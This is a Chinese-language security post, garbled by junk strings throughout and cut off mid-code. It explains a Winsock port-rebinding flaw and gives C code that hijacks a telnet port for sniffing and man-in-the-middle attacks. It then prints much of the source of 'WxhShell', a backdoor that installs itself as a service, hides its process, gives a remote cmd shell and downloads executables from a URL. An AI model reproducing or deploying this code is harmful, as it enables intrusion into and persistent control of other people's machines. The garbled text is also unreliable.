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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `I|Y7GoUO s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8L@@UUjr D2:ShyYAS saddr.sin_family = AF_INET; :c[T@[ oye/tEMG saddr.sin_addr.s_addr = htonl(INADDR_ANY);
pG /g yW"}%)
d bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @$!"}xDR' $7Lcn9?G 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cf_X=;yaqy L#_QrR6Sny 这意味着什么?意味着可以进行如下的攻击: :3}K$ N,cj[6;T% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K~8!Gh{h] g-+/zEOUS 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %NL7XU[~ 7H[.o~\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 qMBEJ<o 2l8z/o 7v 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 (L<G=XC %z}{jqD&:X 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 biJ"@dm
4 L{py\4z'_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UE2!,Z, @j/UDM 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [ &cCE ^h}xFiAV# #include Oq-O|qJj #include 9"5J-a' #include 3dlL?+Y# #include z@Klj qN DWORD WINAPI ClientThread(LPVOID lpParam); tnv @`xBn int main() To_Y
8 G { owz6j: WORD wVersionRequested; W+v7OSd92 DWORD ret; O_yk< WSADATA wsaData; ^W&qTSjh BOOL val; 9~
[Sio~ SOCKADDR_IN saddr; >}& :y{z~ SOCKADDR_IN scaddr; VI{!ZD] int err; 'jr\F2 SOCKET s; 'G6g
yO/K SOCKET sc; I\%a< int caddsize; S?ypka"L HANDLE mt; EDMuQu/D8 DWORD tid; =Oo=&vA.oc wVersionRequested = MAKEWORD( 2, 2 ); f,Z*o err = WSAStartup( wVersionRequested, &wsaData ); qhFWQ1W if ( err != 0 ) { >l<`)4*H printf("error!WSAStartup failed!\n"); op\'T;xIu return -1; 3#O Rfr( } UcZ20inj0 saddr.sin_family = AF_INET; T1\LS*~! !p&[:+qN //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p$mx sqtMhUQ?>w saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q%g!TFMg saddr.sin_port = htons(23); v}vwk8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /I`AwCx { MLbmz\8a printf("error!socket failed!\n"); 3}:(.K return -1; yK1@`3@? } k0@b"y* val = TRUE; p\A!"KC //SO_REUSEADDR选项就是可以实现端口重绑定的 ~F gxhK2+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?Xdb%. { X+0+}S printf("error!setsockopt failed!\n"); re]e4lZ return -1; }0Q_yuzx0m } FTVV+9.l: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0Nvk|uI
V[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +v!%z( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Zb p+b; v:$Ka@v6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qK_jgj=w { M>eMDCB\ ret=GetLastError(); b3'U}0Ug printf("error!bind failed!\n"); T?4pV# return -1; oGtz*AP% } E79'<;K,zs listen(s,2); Z1 7=g@ while(1) =tk O^ { QD2;JI2 caddsize = sizeof(scaddr); cdBD.sg //接受连接请求 3}Xf sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -2o_ L? if(sc!=INVALID_SOCKET) ,QB]y|: { bdS mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tsYBZaH if(mt==NULL) |^S{vub { !HV<2q() printf("Thread Creat Failed!\n"); z CS.P.$ break; e-Pn,j } <"GgqyRzv } WQJnWe CloseHandle(mt); ?M<q95pL } 3PLYC}Jq closesocket(s); PVC Fh$pnw WSACleanup(); q(Q$lRj/I- return 0; ?RP&XrD } iE6?Px9] DWORD WINAPI ClientThread(LPVOID lpParam) uZ1b_e0SGu { |c<h&p SOCKET ss = (SOCKET)lpParam; bR\Oyd~e SOCKET sc; j
aU.hASj unsigned char buf[4096]; rEoMj)~\4& SOCKADDR_IN saddr; bgk+PQ#S- long num; rpB0?h!$ DWORD val; X[e:fW[e) DWORD ret; y7X2|$9z- //如果是隐藏端口应用的话,可以在此处加一些判断 bjO?k54I //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ij=_h_nA saddr.sin_family = AF_INET; ~K7$ZM saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {Xjj-@ saddr.sin_port = htons(23); (9]8r2|. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V*Q!J{lj^# { h /iL/Q= printf("error!socket failed!\n"); io[>`@= return -1; uht>@ WSg| } ehpU`vQz val = 100; ?@>PKUv{ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #CV;Np { \aY<| 7zK ret = GetLastError(); }wIF$v?M return -1; d,5,OJY2f } ]B2%\}c if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k#oe:u`< { 'PS_|zI ret = GetLastError(); p.ks
jD return -1; X-_ $jKfM } Ue?mb$ykC. if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =$wQA { K!<3|d printf("error!socket connect failed!\n"); 83i;:cn closesocket(sc); Jv8JCu"eky closesocket(ss); u6t%*'' return -1; l^cz&k=+ } 9OS~;9YR while(1) Hz>_tA"^T { "XB6k0.# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o..iT:f;n //如果是嗅探内容的话,可以再此处进行内容分析和记录 L!c.1Rf_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \z8j6 h num = recv(ss,buf,4096,0); JeXA*U# if(num>0) yt4sg/]: send(sc,buf,num,0); .',d*H))E7 else if(num==0) *-vH64e break; Fy#7<Hp num = recv(sc,buf,4096,0); %W8*vSbx if(num>0) r .`&z send(ss,buf,num,0); Nf^6t1se else if(num==0) 1)BIh~1{p break; N|3a(mtiZ' } DUMC4+i closesocket(ss); W}iDT?Qi closesocket(sc); ul&}'jBr return 0 ; cD5N'3 } ev[!:*6P mb?r{WCi `gSJEq ========================================================== X
2Zp@q( u$Wv*;TT% 下边附上一个代码,,WXhSHELL sLOkLz"x ?Z2_y- ========================================================== cl{kCSZo.z IQ $/|b/ #include "stdafx.h" }? :T*CJ g@Z7f y7 #include <stdio.h> T!2gOe #include <string.h> 9$WA<1PK+ #include <windows.h> #PGpB5vnaA #include <winsock2.h> (
d1ho= #include <winsvc.h> iGw\A!}w\ #include <urlmon.h> <Em|0hth m5%E1k$= #pragma comment (lib, "Ws2_32.lib") cR6Rb[9 N #pragma comment (lib, "urlmon.lib") j\\uW)ibG $p\ 0/ #define MAX_USER 100 // 最大客户端连接数 | W<jN #define BUF_SOCK 200 // sock buffer Gf<%bQE #define KEY_BUFF 255 // 输入 buffer wF)g@cw xP5Z -eL #define REBOOT 0 // 重启 t|v_[Za}Z #define SHUTDOWN 1 // 关机 v4W<_
7L_ <]u]rZc$ #define DEF_PORT 5000 // 监听端口 $sb `BS ]Vd1fkXO0 #define REG_LEN 16 // 注册表键长度 t}2M8ue(& #define SVC_LEN 80 // NT服务名长度 f"d4HZD^ g*$yUt // 从dll定义API O/lu0acI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f=Kt[|%'e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Yzih-$g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;s w3MRJ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rqun}v} xj.)iegQ // wxhshell配置信息 M*<Bp struct WSCFG { r=ht:+m int ws_port; // 监听端口 M%N_4j. char ws_passstr[REG_LEN]; // 口令 G~19Vv*; int ws_autoins; // 安装标记, 1=yes 0=no QUi=ZD1 char ws_regname[REG_LEN]; // 注册表键名 v$EgVcK char ws_svcname[REG_LEN]; // 服务名 Ov|Uux char ws_svcdisp[SVC_LEN]; // 服务显示名 oU)HxV char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vf`9[*j char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z1~FE int ws_downexe; // 下载执行标记, 1=yes 0=no c7/fQc)h4d char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" I#GsEhi char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $6yr:2Xvt ZsL-vlv }; RiCzH Jk=d5B // default Wxhshell configuration tzSg`7H! struct WSCFG wscfg={DEF_PORT, \t+q1S1 "xuhuanlingzhe", !_LRuqQ?" 1, Y)9]I6n7 "Wxhshell", bPo*L~xdk "Wxhshell", f*GdHUZ* "WxhShell Service", ~0ZLaiJ "Wrsky Windows CmdShell Service", =]hPX "Please Input Your Password: ", jthGNVZ 1, x\!Uk!fM " http://www.wrsky.com/wxhshell.exe", bx%P-r31 "Wxhshell.exe" 7d'gG[Z^^ }; mp+lN: h?2 :'Vu] // 消息定义模块 nLv"ON~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *kWrF* )J char *msg_ws_prompt="\n\r? for help\n\r#>"; Ex3V[v+D( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; =#ls<Zo: char *msg_ws_ext="\n\rExit."; ~i)IY1m" char *msg_ws_end="\n\rQuit."; `&-)(# char *msg_ws_boot="\n\rReboot..."; ]Y@ia]x&P char *msg_ws_poff="\n\rShutdown..."; V`MV_zA2 char *msg_ws_down="\n\rSave to "; d9n{jv| C/L+:b&x~ char *msg_ws_err="\n\rErr!"; t!"XQ$g' char *msg_ws_ok="\n\rOK!"; U~e^ BXf.^s{H char ExeFile[MAX_PATH]; R^=)Ucj int nUser = 0; Lp?JSMe HANDLE handles[MAX_USER]; .`ppp!:a4 int OsIsNt; jS,zdJs= Ltt+BUJc SERVICE_STATUS serviceStatus; iqj
ZC80 SERVICE_STATUS_HANDLE hServiceStatusHandle; !1H\*VM" \y%:[g}Fvw // 函数声明 &x(^=sTHI int Install(void); ]qJ6#sAw75 int Uninstall(void); ]c8O"4n
n int DownloadFile(char *sURL, SOCKET wsh); Ti@X<C int Boot(int flag); {bUd"Tu void HideProc(void); [We(0wF[` int GetOsVer(void); :W/,V^x} int Wxhshell(SOCKET wsl); Wkk=x& void TalkWithClient(void *cs); hk O)q|1 int CmdShell(SOCKET sock); +C{ %pF int StartFromService(void); [akyCb int StartWxhshell(LPSTR lpCmdLine); z5CWgN q?=eD^] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ( /cW VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hset(-=X i8`&XGEd // 数据结构和表定义 3huTT"G SERVICE_TABLE_ENTRY DispatchTable[] = bm{L6D E { |xTf:@hgHf {wscfg.ws_svcname, NTServiceMain}, l/BE~gdl {NULL, NULL} U~SOHfZ%( }; wNuS'P_(:T }@pe`AF^ // 自我安装 Ah2%LXdHA int Install(void) *n)3y.s { G}tq'#]E{z char svExeFile[MAX_PATH]; 2S1wL<qP HKEY key; xi6Fs, 2S strcpy(svExeFile,ExeFile); lrSo@JQ nD\X3g`V // 如果是win9x系统,修改注册表设为自启动 S-8O9 if(!OsIsNt) { [`^x;*C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iaR^] |7_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `j59MSuK RegCloseKey(key); VY'#>k}} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A#mf*]' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R {r0dK"_ RegCloseKey(key); -IR9^) return 0; fN8|4 } 6 m5 \f } ^Slwg|t*~P } #;
I8 aMb else { rs@,<DV)u wovWEtVBU // 如果是NT以上系统,安装为系统服务 .Lrdw3( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V*U7-{ *a if (schSCManager!=0) $cev,OW6] { 9-+6Ed^2 SC_HANDLE schService = CreateService x C'>W"pY ( DVYY1!j< schSCManager, ]?L?q2>& wscfg.ws_svcname, <3;/,>^ Pm wscfg.ws_svcdisp, HFwT
SERVICE_ALL_ACCESS, V%pdXM5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )gNHD?4x SERVICE_AUTO_START, V#W(c_g SERVICE_ERROR_NORMAL, TA=Ij,z~ svExeFile, S:] w@$ NULL, Vkex&?>v$ NULL, bw{%X
NULL, >RxZ-.,a NULL, T7YzO,b/
NULL VGBL<X ); SZ-% 0z if (schService!=0) l[^bo/ { Mg95us CloseServiceHandle(schService); Q]7Q4U CloseServiceHandle(schSCManager); _OT kv6;4n strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W K#lE&V3 strcat(svExeFile,wscfg.ws_svcname); |B4dFI? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z94D<X" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K}O~tff RegCloseKey(key); ^!|BKH8>f% return 0; WKpHb:H } <;x+?j } dL")E|\\k CloseServiceHandle(schSCManager); ~s{$&N } oZ%t! Fl1 } rQK2&37-,@ tiwhG%?2 return 1; Y(/VW&K&: } (~{7 e/)r `c{i+ // 自我卸载 jHB,r^:' int Uninstall(void) bdqo2ZO { lN 1 T\ HKEY key; D?]aYCT hGF:D#jyT if(!OsIsNt) { lXm]1
*< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d OqwF
iO RegDeleteValue(key,wscfg.ws_regname); xJ%b<y{@ RegCloseKey(key); z]\0]i
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lbg!B4, RegDeleteValue(key,wscfg.ws_regname); |U$oS2U\m RegCloseKey(key); ,Mc}U9)F return 0; &nj@t>5Bs$ } $|z8WCJ } Kd;|Z } qX:54$t else { g<KBsz!{ Czb@:l%sc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HI']{2p2}t if (schSCManager!=0) _}`iLA!$I { y{K~g<VL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \0j|~/6 if (schService!=0) [ OMcSd|nf { 34]f[jJ| if(DeleteService(schService)!=0) { ZWmmFKFG. CloseServiceHandle(schService); BWL~)Hx CloseServiceHandle(schSCManager); qVJV 9n return 0; J_U1eSz<j } |!I# T CloseServiceHandle(schService); ^fS~va } ,_YCl09p( CloseServiceHandle(schSCManager); Qo)>i0 } ^5u} } L ! yl^c SLz^Wg._ return 1; )e9(&y*o } VILzx+v
M (sO;etW // 从指定url下载文件 YG?W8)T int DownloadFile(char *sURL, SOCKET wsh) 5H==m~ { q(!191@C( HRESULT hr; 7Y@&& char seps[]= "/"; athU char *token; qN+ ngk,: char *file; 33[2$FBf char myURL[MAX_PATH]; C/_W>H_
char myFILE[MAX_PATH]; h{J2CWJ "z< =S strcpy(myURL,sURL); OMO.-p token=strtok(myURL,seps); u Dm=W36 while(token!=NULL) "=9L7.E) { -UPdgZ_Vxz file=token; OyZgg(iN token=strtok(NULL,seps); G+^HZ4jg } 0l^-[jK) Sxjwqqv GetCurrentDirectory(MAX_PATH,myFILE); 7qgHH p strcat(myFILE, "\\"); $0D]d.w= strcat(myFILE, file); ~+QfP:G send(wsh,myFILE,strlen(myFILE),0); mWUQF"q8 send(wsh,"...",3,0); yWFDGk hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cL< if(hr==S_OK) lkFv5^% return 0; 1/6 G&RB else vy1:>N?#5 return 1; J L`n12$m *8,]fBUq } MBXumc_g sh:sPzQ%Jv // 系统电源模块 ga6M8eOI int Boot(int flag) ~e ]83? { m}Kn!21 HANDLE hToken; 5RI"gf TOKEN_PRIVILEGES tkp; >F!2ib8 4[Hf[. if(OsIsNt) { =+'4u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
. sgV LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [$;6LFs} tkp.PrivilegeCount = 1; V
;1$FNR
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .1[K\t)2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6i(nyA
2! if(flag==REBOOT) { *Jmy:C<> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qg<_te)\ return 0; )(_}60 } M@E*_U!U else { |94"bDL3~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q(T)s return 0; go@UE2qw } 1ePZs$ } jL6u#0 else { # ~}
26 if(flag==REBOOT) { o(u&n3Q' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ky8sLm@ return 0; C~yfuPr\B } ltO:./6v else { 9.!6wd4mw if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -sh S?kV return 0; ?nn`ud?f } \=kH7 ! } gG>1 J3Qv|w[3Y return 1; \|F4@ } 68[3
/ kn^RS1m // win9x进程隐藏模块 J{
P<^<m_ void HideProc(void) JN .\{ Y { TUw^KSa rr>QG<i;G HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {KxeH7S if ( hKernel != NULL ) [2pp)wq { @{iws@. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1XSA3;ZEc ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GbFLu`I u FreeLibrary(hKernel); 2?u>A3^R } 5Q#;4 gbsRf&4h return; %0fF_OU } ZR.1SA0x?O 4v_?i@,L // 获取操作系统版本 11glFe int GetOsVer(void) SpPG { 3FT%.dV^ OSVERSIONINFO winfo; 4.I6%Bq$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bY|%ois4 GetVersionEx(&winfo); !rZO~a0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M$DJ$G|Z return 1; &$?e D{ else >J_{mU return 0; ]sjYxe } $#2ik~]> kMWu%,s4 // 客户端句柄模块 Y]/(R"-2G int Wxhshell(SOCKET wsl) pisk v[ { ] e!CH
<N SOCKET wsh; R $HIJM struct sockaddr_in client; I<e[/#5P\` DWORD myID; ]:i
:QiYD E1IRb': while(nUser<MAX_USER) X&o!xV -+ { C9E l {f int nSize=sizeof(client); zrk/}b0j wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GjZ@fnF if(wsh==INVALID_SOCKET) return 1; "wL~E Si G~_5E]8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HRIf)n&~f if(handles[nUser]==0) St|sUtj<r closesocket(wsh); pSQ3SM else <WaiJy? nUser++; jR@-h"2*A } |Y(].G, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F
xFK TuIeaH% x return 0; a6WE,4T9 } "4g1I< :KX/` // 关闭 socket z &<Rx[ void CloseIt(SOCKET wsh) VmBLNM? { Uj k``; closesocket(wsh); _I{&5V~z nUser--; 5*g@;aR1 ExitThread(0); lBQ|= } dmlh;Z 2"<}9A<Xs // 客户端请求句柄 W\} VZY void TalkWithClient(void *cs) MM'<uy { -2
tZ J)jiI> SOCKET wsh=(SOCKET)cs; F,:F9r?l,H char pwd[SVC_LEN]; t"0~2R6i char cmd[KEY_BUFF]; -vjjcyTt char chr[1]; r`<evwIe int i,j; ,nHz~Xi1t oAvJ"JH@i while (nUser < MAX_USER) { RtqW!ZZ:H 1>1|>% if(wscfg.ws_passstr) { (O`=$e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z@I%ppd //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jC\R8_ //ZeroMemory(pwd,KEY_BUFF); v(: VUo]H i=0; ww\/$ | while(i<SVC_LEN) { Ok:@F/ v G^2"\4R]p // 设置超时 AOWI` fd_set FdRead; efbt\j6@%2 struct timeval TimeOut; CJu;X[6 FD_ZERO(&FdRead); fA3 FD_SET(wsh,&FdRead); U;jk+i TimeOut.tv_sec=8; o9~qJnB/O TimeOut.tv_usec=0; /(}V!0\? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D!Gm9Pa} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E'r*
g{, W6_3f-4g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <0kRky$ pwd =chr[0]; 9*2hBNp+ if(chr[0]==0xd || chr[0]==0xa) { pt0H*quwI pwd=0; hD$U8~zK break; 2l!"OiB.P } v5 9> i++; Yd<~]aXM } uq%RZF
z(v A?7%q^;E // 如果是非法用户,关闭 socket )Z;Y,g if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 't|F}@HP } F)%; gzs Fza)dJ7 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @Td[rHl send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 92VAQU6 #dl8+ while(1) { Tbwq_3fK 22*t%{( ZeroMemory(cmd,KEY_BUFF); X,q=JS _*;cwMne- // 自动支持客户端 telnet标准 &FZe LIt j=0; sZbzY^P while(j<KEY_BUFF) { 1a)_Lko if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e;pNB cmd[j]=chr[0]; yNT2kB' if(chr[0]==0xa || chr[0]==0xd) { b1&{%.3[ cmd[j]=0; KC]Jbm{y break; (
ou:"Y } tEEhSG)s% j++; ~::R+Lh( } HaC3y[ LJ0 s<dD>SU // 下载文件 iwVra"y if(strstr(cmd,"http://")) { wYxizNv, send(wsh,msg_ws_down,strlen(msg_ws_down),0); (Q4_3<G+ if(DownloadFile(cmd,wsh))
%F 4Q| send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ab"uN else ps[6)d)o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >4VU } p}.b#{HJ else { 2lSM`cw S]o switch(cmd[0]) { _Pz3QsV9 x2B"%3th0 // 帮助 %zD-gw> case '?': { =%u|8Ea*` send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aK>9:{]ez break; [.I,B tY+ } 6m"
75 // 安装 %~;Q_#CR/K case 'i': { c6uKKh> if(Install()) dbuOiZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?|8Tgs@+ else :fYwFD( 9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F^NR qE break; KVcZ@0[S } \O8f~zA{G // 卸载 Vtg/,1KQ case 'r': { 4d 3Znpf if(Uninstall()) &+j^{a send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3.0c/v5Go else \l:g{GnoT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HV9SdJOf break; yKB[HpU- } sBb.Y
k // 显示 wxhshell 所在路径 :ky<`Jfr` case 'p': { pG( knu char svExeFile[MAX_PATH]; Doh|G:P]# strcpy(svExeFile,"\n\r"); D;I`k
L strcat(svExeFile,ExeFile); N
&[,nUd send(wsh,svExeFile,strlen(svExeFile),0); |3,V%>z break; {g- DM}q } `zp2;]W // 重启 j?f <hQ case 'b': { -k
<9v.: send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =]QH78\3 if(Boot(REBOOT)) p}A4K#G send(wsh,msg_ws_err,strlen(msg_ws_err),0);
;Zq~w else { dl6v
< closesocket(wsh); ]kkBgjQbS ExitThread(0); "x;k'{S } m_$I?F0 break; =_=Z;#`cXk } 0['"m^l0S // 关机 -+rF]|Wi case 'd': { )c*k_/4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8q [c if(Boot(SHUTDOWN)) A<Z5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); +z=%89GJ else { 5@czK*5 closesocket(wsh); u
m:0y, ExitThread(0); f6B-~x<l } fey*la Xq break; *BLe3dok( } heL$2dZ5H // 获取shell Q(|PZng case 's': { *N-;V|{ CmdShell(wsh); _8Nw D_" closesocket(wsh); kmlG3hOR, ExitThread(0); 0]T.Lh$3 break; k0|`y U } &yxNvyA[u // 退出 ~u /aOd case 'x': { d4Co^A& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gA~20LSt CloseIt(wsh); R_1)mPQ^P break; >4n+PXRXX } b7B+eN ?z // 离开 rv9B}%e case 'q': { T'ED$}N>~ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;,1=zhKU. closesocket(wsh); 48 W.qzC WSACleanup(); f64(a\Rw!^ exit(1); D \N
\BD break; +|y*}bG } z Yw;q3" } ?y~TC qV } q#P$'7" gNShOu // 提示信息 e`i7ah; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z]kwRWe`j } !z11"
c } 1T ( u fUC9-?(K return; :e*DTVv8 } lT 8#bA &
_; y.! // shell模块句柄 aaDP9FW9e int CmdShell(SOCKET sock) 4/S=5r} { sI_7U^"[ STARTUPINFO si; [r)eP({ ZeroMemory(&si,sizeof(si)); !p9)CjQ " si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N0i!l|G6 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >F1G!#$0 PROCESS_INFORMATION ProcessInfo; HBH$
char cmdline[]="cmd"; Cyq?5\ a CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [4sEVu} return 0; 7R}9oK_I } /F.Wigv RK[D_SmS // 自身启动模式 nq"evD5 int StartFromService(void) qve
./ { "#yJHsu] typedef struct ? B@E!/f { bLzs?eos DWORD ExitStatus; Z(j{F<\jS DWORD PebBaseAddress; -KH)J DWORD AffinityMask; bB!#:j>(v DWORD BasePriority; ~@T<gA9V ULONG UniqueProcessId; tF*szf|$- ULONG InheritedFromUniqueProcessId; j9d!yW } PROCESS_BASIC_INFORMATION; -(i(02PX :_5/u|{
PROCNTQSIP NtQueryInformationProcess; }Ov
